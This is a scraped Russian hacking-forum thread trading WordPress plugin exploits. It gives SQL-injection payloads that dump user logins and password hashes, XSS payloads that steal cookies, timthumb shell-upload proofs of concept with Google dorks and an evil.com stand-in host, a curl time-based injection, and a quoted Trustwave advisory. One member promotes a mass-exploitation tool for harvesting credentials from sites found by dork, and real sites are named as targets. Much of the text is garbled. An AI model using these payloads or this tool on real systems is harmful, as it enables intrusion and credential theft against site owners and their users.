background_part_array) as$key){

if($this->background_part_array[$key]['type'] ==='navigation-02'){

echo''.$this->background_part_array[$key]['name'] .' 背景';

echo''.$this->background_part_array[$key]['name'] .' パネル';

} else {

echo''.$this->background_part_array[$key]['name'] ;

}

}

?>





" />

表示方法の設定は「背景画像オプシ ン」、削除は「サイトの詳細設定」 おこなってください。

...[/COLOR]

shell:


http://wp/wp-content/plugins/easycolmanager/uploads/shell.php


glossy #plugin# sql-inj

glossy.admin.addEntry.php


...

$entryName=$_POST['gs_entry_name'];

$entryTitle=$_POST['gs_entry_title'];

$entryLink=$_POST['gs_entry_link'];

$entryDimensions=$_POST['gs_entry_dimensions'];

$entryContents=$_POST['gs_entry_contents'];



$saveEntry=gs_save_entry($entryName,$entryTitle,$e ntryLink,$entryDimensions,$entryContents,$pageActi on,$entryOriginalName);



// If $saveEntry is empty (no errors) and we 've been adding, switch to editing mode

if (empty($saveEntry))

{

$completedAction=$pageAction;



$pageAction="Edit";

$entryOriginalName=$entryName;

}

...

glossy.admin.addEntry.php


...

} else if ($entryAction =="Add"||$entryName!=$entryOriginalName) {

$query=$wpdb->prepare("SELECT gs_name FROM ".$gs_tableName." WHERE gs_name = '%s';",$entryName);

$existingName=$wpdb->get_var($query);



if ($existingName )

{

$saveData=false;

$errorFields['entryName'] ='taken';

}

}

...

exploit:


POST: wp-content/plugins/glossy/glossy.admin.addEntry.php
data: gs_entry_title=&gs_entry_link=&gs_entry_dimensions=&gs_entry_contents=&gs_entry_name=aaa+union+select+concat_ws(0x3a,user _login,user_pass)+from+wp_users+--+

google-button-wp #plugin# passive XSS

google.php


...





'.__("General options", 'menu-test' ).'





'.__("Active share buttons", 'menu-test' ).':

';



foreach ($active_buttons as $name => $text) {

$checked = ($opt ion['active_buttons'][$name]) ? 'checked="checked"' : '';

$out .= '

'

. __($text, 'menu-test' ).'&nbsp;&nbsp;';

}

$out .= '

'.__("Show buttons in these pages", 'menu-test' ).':

';

foreach ($show_in as $n ame => $text) {

$checked = ($opt ion['show_in'][$name]) ? 'checked="checked"' : '';

$out .= '

'

. __($text, 'menu-test' ).'&nbsp;&nbsp;';

}

$out .= '

'.__("Position", 'menu-test' ).':



'.__('before the post', 'menu-test' ).'

'.__('after the post', 'menu-test' ).'

'.__('beforeandaft er the post', 'menu-test' ).'













'.__("Google +1 options", 'menu-test' ).'





'.__("Button width", 'menu-test' ).':



px

'.__("default: 90", 'menu-test' ).'



'.__("Show counter", 'menu-test' ).':























...

Vurnel input name "px" ex:alert()

polylang #plugin# double sql-inj

languages-form.php


...





term_id;?>" />





[/COLOR]name;?>" size="40" aria-required="true" />





[/COLOR]description;?>" size="40" aria-required="true" />





[/COLOR]slug;?>" size="40" />



...[/COLOR]

admin.php


...

if (isset($_POST['lang'])) {

// Update links to this language in posts an d terms in case the slug has been modified

$lang=$this->get_language($_POST['lang']);

$old_slug=$lang->slug;

if ($old_ slug!=$_POST['slug']) {

// update the language slug in posts meta

...

exploit #1:


POST: wp-contents/plugins/polylang/admin.php
data: lang=albanskiy&slug=newnew&set=1+union+select+concat_ws(0x3a,user_login,user_ pass)+from+wp_users+--+&time=now

uninstall.php


...

$languages=get_terms('language', array('hide_empt y'=>false));

foreach ($languagesas$lang) {

// delete references to this language in all posts

$args= array('numberposts'=> -1,'post_type'=>'any','post_status'=>'any');

$posts=get_posts($args);

foreach ($postsas$post) {

delete_post_meta($post->ID,'_lang-'.$lang->slug);

}

// delete references to this language in cate gories & post tags

$terms=get_terms(array('category','post_tag'),'get =all');

foreach ($termsas$term) {

delete_metadata('term',$term->term_id,'_language');

delete_metadata('term',$term->term_id,'_lang-'.$lang->slug);

}

// finally delete the language itself

wp_delete_term($lang->term_id,'language');

}

// delete the termmeta table only if it is empty as other plugins may use it

$table=$wpdb->termmeta;

$count=$wpdb->get_var("SELECT COUNT(*) FROM$tableWHERE poly_id=$_GET['id']");

if (!$count) {

$wpdb->query("DROP TABLE$table;");

unset($wpdb->termmeta);

}

...

exploit #2:


http://wp/wp-contents/plugins/polylang/uninstall.php?id=-666666666+union+select+1,2,3,4,5,group_concat(user _login,0x3a,user_pass+separator+0x3c62723e)+from+w p_users+--

DeleTeeeX
13.10.2011, 20:37
# Exploit Title: Multiple Wordpress timthumb.php reuse vulnerabilities
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)

---
Description
---
The following Wordpress plugins reuse a vulnerable version of the timthumb.php library.

By hosting a malicious GIF file with PHP code appended to the end on an attacker controlled
domain such as blogger.com.evil.com and then providing it to the script through the
src GET parameter, it is possible to upload a shell and execute arbitrary code on the webserver.

Reference: http://www.exploit-db.com/exploits/17602/

# Plugin: Category Grid View Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-grid-view-gallery
# Software Link: http://wordpress.org/extend/plugins/category-grid-view-gallery/download/
# Version: 0.1.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-grid-view-gallery/cache/externel_md5(src).php

# Plugin: Auto Attachments Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/auto-attachments
# Software Link: http://wordpress.org/extend/plugins/auto-attachments/download/
# Version: 0.2.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/auto-attachments/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/auto-attachments/cache/external_md5(src).php

# Plugin: WP Marketplace Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/wp-marketplace
# Software Link: http://wordpress.org/extend/plugins/wp-marketplace/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/wp-marketplace/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/wp-marketplace/libs/cache/external_md5(src).php

# Plugin: DP Thumbnail Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/dp-thumbnail
# Software Link: http://wordpress.org/extend/plugins/dp-thumbnail/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/dp-thumbnail/timthumb/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/dp-thumbnail/timthumb/cache/external_md5(src).php

# Plugin: Vk Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/vk-gallery
# Software Link: http://wordpress.org/extend/plugins/vk-gallery/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/vk-gallery/lib/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/vk-gallery/lib/cache/md5(src).php

# Plugin: Rekt Slideshow Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rekt-slideshow
# Software Link: http://wordpress.org/extend/plugins/rekt-slideshow/download/
# Version: 1.0.5

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rekt-slideshow/picsize.php?src=MALICIOUS_URL

Must first base64 encode the URL.

The uploaded shell can be found at /wp-content/plugins/rekt-slideshow/cache/md5(src).php

# Plugin: CAC Featured Content Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cac-featured-content
# Software Link: http://wordpress.org/extend/plugins/cac-featured-content/download/
# Version: 0.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cac-featured-content/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/cac-featured-content/temp/md5(src).php

# Plugin: Rent A Car Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rent-a-car
# Software Link: http://wordpress.org/extend/plugins/rent-a-car/download/
# Version: 1.0
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rent-a-car/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/rent-a-car/libs/cache/external_md5(src).php


# Plugin: LISL Last Image Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/lisl-last-image-slider
# Software Link: http://wordpress.org/extend/plugins/lisl-last-image-slider/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/lisl-last-image-slider/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/lisl-last-image-slider/cache/external_md5(src).php

# Plugin: Islidex Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/islidex
# Software Link: http://wordpress.org/extend/plugins/islidex/download/
# Version: 2.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/islidex/js/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/islidex/js/cache/md5(src).php

# Plugin: Kino Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/kino-gallery
# Software Link: http://wordpress.org/extend/plugins/kino-gallery/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/kino-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/kino-gallery/cache/external_md5(src).php

# Plugin: Cms Pack Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cms-pack
# Software Link: http://wordpress.org/extend/plugins/cms-pack/download/
# Version: 1.3

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cms-pack/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/uploads/cms-pack-cache/external_md5(src).php

# Plugin: A Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/a-gallery
# Software Link: http://wordpress.org/extend/plugins/a-gallery/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/a-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/a-gallery/cache/external_md5(src).php

# Plugin: Category List Portfolio Page Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-list-portfolio-page
# Software Link: http://wordpress.org/extend/plugins/category-list-portfolio-page/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-list-portfolio-page/scripts/cache/external_md5(src).php

# Plugin: Really Easy Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/really-easy-slider
# Software Link: http://wordpress.org/extend/plugins/really-easy-slider/download/
# Version: 0.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/really-easy-slider/inc/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/really-easy-slider/inc/cache/external_md5(src).php

# Plugin: Verve Meta Boxes Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/verve-meta-boxes
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/verve-meta-boxes/download/
# Version: 1.2.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/verve-meta-boxes/tools/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/verve-meta-boxes/tools/cache/external_md5(src).php

# Plugin: User Avatar Wordpress plugin shell upload vulnerability
# Google Dork: inurl:wp-content/plugins/user-avatar
# Software Link: http://wordpress.org/extend/plugins/user-avatar/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/user-avatar/user-avatar-pic.php?id=0&allowedSites[]=blogger.com&src=http://blogger.com.evil.com/poc.php

Requires register_globals to be enabled and at least one user account to have an avatar directory.

The uploaded shell can be found at /wp-content/uploads/avatars/$id/external_md5(src).php

# Plugin: Extend Wordpress Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/extend-wordpress
# Software Link: http://wordpress.org/extend/plugins/extend-wordpress/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/extend-wordpress/helpers/timthumb/image.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/extend-wordpress/helpers/timthumb/cache/external_md5(src).php

DeleTeeeX
13.10.2011, 20:49
# Exploit Title: WordPress Mingle Forum plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)

e.g.
curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)" http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php

---------------
Vulnerable code
---------------
if (!isset($_POST['edit_post_submit'])) {
$errormsg = apply_filters('wpwf_check_guestinfo',"");
if ($errormsg != "") {
$error = true;
wp_die($errormsg);
}
}

if($options['forum_captcha'] == true && !$user_ID){
include_once(WPFPATH."captcha/shared.php");
$wpf_code = wpf_str_decrypt($_POST['wpf_security_check']); // wpf_str_decrypt("MhWNow==") == "fail"
if(($wpf_code == $_POST['wpf_security_code']) && (!empty($wpf_code))) {
// do nothing
}
else {
$error = true;
$msg = __("Security code does not match", "mingleforum");
wp_die($msg);
}
}

...

if(isset($_POST['edit_post_submit'])){
$myReplaceSub = array("'", "\\");
$subject = str_replace($myReplaceSub, "", $mingleforum->input_filter($_POST['edit_post_subject']));
$content = $mingleforum->input_filter($_POST['message']);
$thread = $mingleforum->check_parms($_POST['thread_id']);
$edit_post_id = $_POST['edit_post_id'];

if($subject == ""){
$msg .= "".__("An error occured", "mingleforum")."";
$msg .= ("".__("You must enter a subject", "mingleforum")."");
$error = true;
}
elseif($content == ""){
$msg .= "".__("An error occured", "mingleforum")."";
$msg .= ("".__("You must enter a message", "mingleforum")."");
$error = true;
}

if ($error) wp_die($msg);

//SECURITY FIX NEEDED t_posts SET text = '$content', subject = '$subject' WHERE id = $edit_post_id");
$wpdb->query($wpdb->prepare($sql)); // misusage of prepare statement(s)

DeleTeeeX
13.10.2011, 20:55
[B]WordPress Collision Testimonials plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)

---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
$id = $_GET['id'];
mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};
[/CODE]

SuNDowN
19.10.2011, 02:14
Кто нибудь крутил вот эту скулю? (http://www.exploit-db.com/exploits/17862/) Я так и не смог шелл залить, может у кого пройдёт отпишите..

pr3v3d
19.10.2011, 21:03
TUBEPRESS

Раскрытие путей в Wordpress в плагине Tubepress

sait.com/wp-content/plugins/tubepress/classes/org/tubepress/cache/


пример: http://www.slapapp.com/wp-content/plugins/tubepress/classes/org/tubepress/cache/

попугай
22.10.2011, 02:56
Кто нибудь крутил вот
эту скулю? (http://www.exploit-db.com/exploits/17862/)
Я так и не смог шелл залить, может у кого пройдёт отпишите..


Это не скуля, а RFI - там даже в заголовке написано.

Thenno
05.12.2011, 17:56
Fast Secure Contact Form

Возможность узнать версию PHP и прочую информацию о сервере при установленном плагине Fast Secure Contact Form 3.0.5


www.site.com/wp-content/plugins/si-contact-form/captcha/test/

BigBear
15.12.2011, 01:38
Допилил программу (https://antichat.live/showpost.php/p/2753503/postcount/163/) товарисча Kuteke по взлому WordPress через багу (https://antichat.live/showpost.php/p/2625264/postcount/156/) найденную z0mbyak (за что ему ещё раз спасибо). Точнее, написал с нуля....

Итак, релиз...

WP_Cracker​

http://s58.radikal.ru/i161/1112/39/e7ba3565a46d.png (http://www.radikal.ru)



How to use:

1) Вбиваем дорк в Google (inurl:"fbconnect_action=myhome")

2) Просто копируем найденную ссылку в буфер

3) Нажимаем Crack It

После этого программа всё остальное сделает автоматически за вас, перестроит ссылку как надо для правильного запроса, отпарсит результат или вернёт сообщение о закрытой баге.


Чем же хороша эта программа ??

1) Она не ругается на неправильно забитую ссылку, как у аналога выше. Ссылки автоматически перестраиваются под общий шаблон. Они обрезаются, достраиваются и меняют одни переменные на другие...

Программа жрёт любую из этих примеров:

(_ttp://www.sie.com/?fbconnect_action=myhome&userid=152&height=400&width=370

_ttp://sitei.info/?fbconnect_action=myhome&userid=51&paged=5

_ttp://www.chipandshelley.com/page/3/?fbconnect_action=myhome&userid=1 )

Так что просто копируйте результат выдачи из гугла и сразу жмите Crack It !

2) Нечего терять время на удаление дупликатов ! Программа сама автоматически предупредит Вас и не отправит запрос, если вы решите добавить в базу уже добавленный ранее сайт.

3) Базу можно сохранить в отдельный файл, чтобы потом открыть его и продолжить исследования уязвимостей.

4) Можно сохранить отдельно хэши, специально для брута.

5) Можно удалить сайты без уязвимости (кнопка "Clear Nulls"). При этом останутся только сайты с логинами и пассами.

6) Можно копировать отдельный логин и пасс прямо из таблицы, для удобства.

7) Не сильно страшный дизайн и, конечно же, FREEWARE.

WP_Cracker 1.1​

http://s59.radikal.ru/i164/1112/49/366918bd34a1.png (http://www.radikal.ru)​

Собрал в кучу багрепорты и пожелания (отдельное спасибо Osstudio) и, наконец-то, выпускаю вторую и финальную версию WP_Cracker, написанный для баги от z0mbyak

Коротко о багфиксах и новых возможностях:

1) ID-шники правильно пересчитывает при удалении "пустышек".

2) Появилась возможность указать файл с линками, который программа сама автоматически чекнет.

3) Исправлен механизм парсинга.

Но тут одно НО - программа работает не через потоки, а последовательно отправляя запросы, поэтому не удивляйтесь, если при загрузке файла на 100 линков она зависнет на 2/3/4/5 минут. Как всё чекнет так отвиснет =) Реализации через потоки в публичной версии не будет.

Все замечания и пожелания автор получает по асе, указанной в программе, исходники закрыты. И, конечно же, автор не несёт ответственности за использование его программы в незаконных целях =)

В архиве ниже лежат обе версии программы, по причине если если у вас слишком медленное подключение к Internet - Вам лучше использовать 1 версию.


скачать можно тут (http://www.sendspace.com/file/rh4k05)​

или тут (http://zalil.ru/32285916)​

Обновил программу, работающую через потоки

http://s017.radikal.ru/i423/1201/c0/08af6fa06995.png (http://www.radikal.ru)​

Для скачивания обращайтесь в ICQ 906zero47

Кратко о новых возможностях:

количество потоков от 1 до 100

- Без зависаний

- Статистика гудов и бэдов

- Отображение прогресса процесса

DarkMaster
16.12.2011, 12:47
Версия 1.1 с багой - после адреса домена забывает ставить / слеш / из-за чего есстественно не работает.

Все ссылки получаются вида:

_unisona.com&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x7e,user_pass)a,7,8,9,10,11,12+from+wp_ users-- are not vulnerable

BigBear
16.12.2011, 13:49
Версия 1.1 с багой - после адреса домена забывает ставить / слеш / из-за чего есстественно не работает.
Все ссылки получаются вида:
_unisona.com&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x7e,user_pass)a,7,8,9,10,11,12+from+wp_ users-- are not vulnerable


Это не версия с багой, это Вы вставили ссылку без нужных параметров.

Нужно, чтобы в ссылке обязательно присутствовала строка "=myhome" иначе, она просто посчитает ссылку невалидной (читай - не будет знать от чего отталкиваться чтоб произвести правильный запрос).

В случае с первой версией - там ссылки брались из гугла напрямую, здесь же вы начинаете что-то изобретать...

DarkMaster
16.12.2011, 14:19
Это не версия с багой, это Вы вставили ссылку без нужных параметров.
Нужно, чтобы в ссылке обязательно присутствовала строка "=myhome" иначе, она просто посчитает ссылку невалидной (читай - не будет знать от чего отталкиваться чтоб произвести правильный запрос).
В случае с первой версией - там ссылки брались из гугла напрямую, здесь же вы начинаете что-то изобретать...


Ну, во первых, так и надо было писать - что ссылку вставлять целиком. На скринах просвечивает, что написан именно домен, а не вся строка URL. Хотя не понятно зачем оно - раз уж тузла заточена под одну единственную уязвимость не проще ли ей скармливать просто список доменов с WP?

И кстати, в режиме браузер вот такая еще бяка:

_tp://vipdengi.info/&fbuserid=1+and+

_tp://natasha-bitten.ru/&fbuserid=1+

_tp://www.archmuseum.ru/&fbuserid

Хотя по идее тут должен быть знак ?

BigBear
16.12.2011, 14:59
Ну, во первых, так и надо было писать - что ссылку вставлять целиком. На скринах просвечивает, что написан именно домен, а не вся строка URL. Хотя не понятно зачем оно - раз уж тузла заточена под одну единственную уязвимость не проще ли ей скармливать просто список доменов с WP?
И кстати, в режиме браузер вот такая еще бяка:
_tp://vipdengi.info/
&
fbuserid=1+and+
_tp://natasha-bitten.ru/
&
fbuserid=1+
_tp://www.archmuseum.ru
/&
fbuserid
Хотя по идее тут должен быть знак
?


Боже ж ты мой... Так хочется сказать - Читайте уже наконец-то описание...

Ссылки должны быть такого вида:


_ttp://vipdengi.info/?fbconnect_action=myhome&userid=51&paged=5

или

_ttp://vipdengi.info/?fbconnect_action=myhome&userid=51

или

_ttp://vipdengi.info/?fbconnect_action=myhome&fbuserid=51&paged=5

или

http://vipdengi.info/?fbconnect_action=myhome&fbuserid=51

или накрайняк такие

http://vipdengi.info/?fbconnect_action=myhome

Если бы ВНИМАТЕЛЬНО прочли описание к программе - вы бы увидели, что ссылки подготавливаются из запроса в гугла, а после него они как раз подходят под все предоставленные мной примеры.

DarkMaster
16.12.2011, 16:38
Боже ж ты мой... Так хочется сказать - Читайте уже наконец-то описание...
Ссылки должны быть такого вида:

_ttp://vipdengi.info/?fbconnect_action=myhome&userid=51&paged=5



Боже ж ты мой, но можно было так и написать тогда:

ссылки вида:

_tp://www.google.ru/url?sa=t&rct=j&q=inurl%3A%22fbconnect_action%3Dmyhome%22&source=web&cd=1&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.trendyblackguy.com%2Fpage%2F2 1%2F%3Ffbconnect_action%3Dmyhome

... и опять таки нахрена такой формат? А яндекс спарсить? А просто готовую базу WP сайтов ?

И пусть уж тогда само парсит и из выдачи гугля и выдирает, раз строго под один запрос заточено. Как то странно оно все. Руками копировать длинную гугль ссылку, чтобы потом все отрезать и дописывать скулю. Что мешает просто брать список доменов и ним работать? Такой симпатичный интерфейс и прикручен к черт знает чему...


[/QUOTE]

Боже ж ты мой, но можно было так и написать тогда:

ссылки вида:

_tp://www.google.ru/url?sa=t&rct=j&q=inurl%3A%22fbconnect_action%3Dmyhome%22&source=web&cd=1&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.trendyblackguy.com%2Fpage%2F2 1%2F%3Ffbconnect_action%3Dmyhome

... и опять таки нахрена такой формат? А яндекс спарсить? А просто готовую базу WP сайтов ?

И пусть уж тогда само парсит и из выдачи гугля и выдирает, раз строго под один запрос заточено. Как то странно оно все. Руками копировать длинную гугль ссылку, чтобы потом все отрезать и дописывать скулю. Что мешает просто брать список доменов и ним работать? Такой симпатичный интерфейс и прикручен к черт знает чему...
[/CODE]

[/QUOTE]

BigBear
16.12.2011, 19:05
И пусть уж тогда само парсит и из выдачи гугля и выдирает, раз строго под один запрос заточено. Как то странно оно все. Руками копировать длинную гугль ссылку, чтобы потом все отрезать и дописывать скулю. Что мешает просто брать список доменов и ним работать? Такой симпатичный интерфейс и прикручен к черт знает чему...


А как ты определишь парвильный запрос ?? Просто пальцем в небо ??

Пример... Есть сайт xxx.ru и ты знаешь, что он уязвим.

Откуда ты узнал ? Да просто увидел ссылку xxx.ru/plugins/new/?fbconnect_action=myhome&userid=56

И ты быстрее копируешь ссылку в текстовик, в надежде скормить его программе, и чтоб она вывела тебе результат.

Теперь внимание !!! Уважаемые знатоки, вопрос...

Каким хреном программа должна определить что уязвимая ссылка должна выглядеть как xxx.ru/plugins/new/?fbconnect_action=myhome&fbuserid=56+union+select+blablabla ???

Вот для этого программе и скармливаются ПОЛНЫЕ ссылки, а она уже сама всё перестроит и отредактирует.


Руками копировать длинную гугль ссылку


Да. Уважаемый, именно так.


чтобы потом все отрезать и дописывать скулю


Программа всё обрежет и перестроит для вас, просто скормите ей ссылки в том виде, в котором выдал вам Гугл.

eksin
17.12.2011, 05:24
тачку с мостовой куда и молиться чтобы пароль был легким , других вариантов нет...

Kontik
15.01.2012, 21:19
[B][CENTER][SIZE="2"][COLOR="Yellow"]# Exploit Title: Wordpress Pay With Tweet plugin [XSS]

After submitting the tweet:

?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]

POC: pay.php?link=%22>alert(document.cookie)&title=alert(document.cookie)&dl=http://brindi.si%27">alert(document.cookie)

Качаем... (http://rghost.ru/35922111)

Качаем... (http://dump.ru/file/5553671)

usr-bin
28.01.2012, 22:14
Есть что-нибудь на 3.3.1?


WordPress

[/COLOR]Note #1: Any php file in the theme could be used.

Note #2: Depending settings, PHP may be use d to execute system commands

on webserver.

Malicious user performs get request of modif ied page to execute code.

Request

-------

GET /wp-content/themes/default/404.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0 .1) Gecko/20100101 Firefox/8.0.1

4.) Get Persistent Cross Site Scripting

Malicious User Injects Malicious Javascript i nto their own MySQL database instance

MySQL Query

-----------

update wp_comments SET

comment_content='alert('123')' where comment_con tent='Hi,

this is a comment.
To delete \ a comment, just log in and vi ew the

post's comments. There you will have the op tion to edit or delete

them.';

Non-malicious User Visits Wordpress installation and has Javascript executed on their browser

Request

-------

GET /?p=1 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0 .1) Gecko/20100101 Firefox/8.0.1

Finding 2: Multiple Cross Site Scripting Vul nerabilities in

'setup-config.php' page

CVE: CVE-2012-0782

The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases . When using this installation page

the user is asked to supply the database n ame, the server that the database

resides on, and a valid MySQL username and password.

During this process, malicious users can sup ply javascript within

the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission

button, the javascript is rendered in the c lient's browser.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

Request

-------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0 .1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 112

dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscrip t%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit

Finding 3: MySQL Server Username/Password Disclosure Vulnerability via

'setup-config.php' page

CVE: CVE-2011-4898

The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases . When using this installation page

the user is asked to supply the database n ame, the server the database resides

on, and a valid MySQL username and password .

Malicious users can omit the "dbname" parameter during this process, allowing

them to continually bruteforce MySQL instance usernames and passwords. This

includes any local or remote MySQL instances which are accessible to the

target web server. This can also be used a s a method to proxy MySQL bruteforce

attacks against other MySQL instances outside of the target organization.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

L.M.N.O = Any MySQL Server for which the W eb Server has network access

Request

-------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0 .1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 32

uname=mysql&pwd=mysql&dbhost=L.M.N.O

Response (If Password is Valid)

-------------------------------

We were able to connect to the database se rver (which means your username

and password is okay) but not able to sele ct the database.

Response (If Password is Invalid)

---------------------------------

This either means that the username and pas sword information in your

wp-config.php file is incorrect or we can't co ntact the database server at

localhost. This could mean your host's datab ase server is down.

Vendor Response:

Due to the fact that the component in ques tion is an installation script,

the vendor has stated that the attack surfa ce is too small to warrant

a fix:

"We give priority to a better user experienc e at the install process. It is

unlikely a user would go to the trouble of installing a copy of WordPress

and then not finishing the setup process mo re-or-less immediately. The

window of opportunity for exploiting such a vulnerability is very small."

However, Trustwave SpiderLabs urges caution i n situations where the

WordPress installation script is provided as part of a default image.

This is often done as a convenience on h osting providers, even in

cases where the client does not use the so ftware. It is a best practice

to ensure that no installation scripts are exposed to outsiders, and

these vulnerabilities reinforce the importance of this step.

Remediation Steps:

No official fix for these issues will be r eleased for the WordPress

publishing platform. However, administrators c an mitigate these issues by

creating strong MySQL passwords and defining rules within a web application

firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has

added rules to the commercial rules feed fo r these issues, and Trustwave's

vulnerability scanning solution, TrustKeeper, has been updated to detect

exposed installation scripts.

Vendor Communication Timeline:

12/22/11 - Vulnerability disclosed

01/16/12 - Confirmation to release vulnerabilities

01/24/12 - Advisory published

References

1. http://www.wordpress.org

About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industr y compliance management

solutions to businesses and government entiti es throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique appr oach with comprehensive

solutions that include its flagship TrustKeep er compliance management

software and other proprietary security solut ions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and larg e

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastru cture, data communications and

critical information assets. Trustwave is hea dquartered in Chicago with

offices throughout North America, South Ameri ca, Europe, Africa, China and

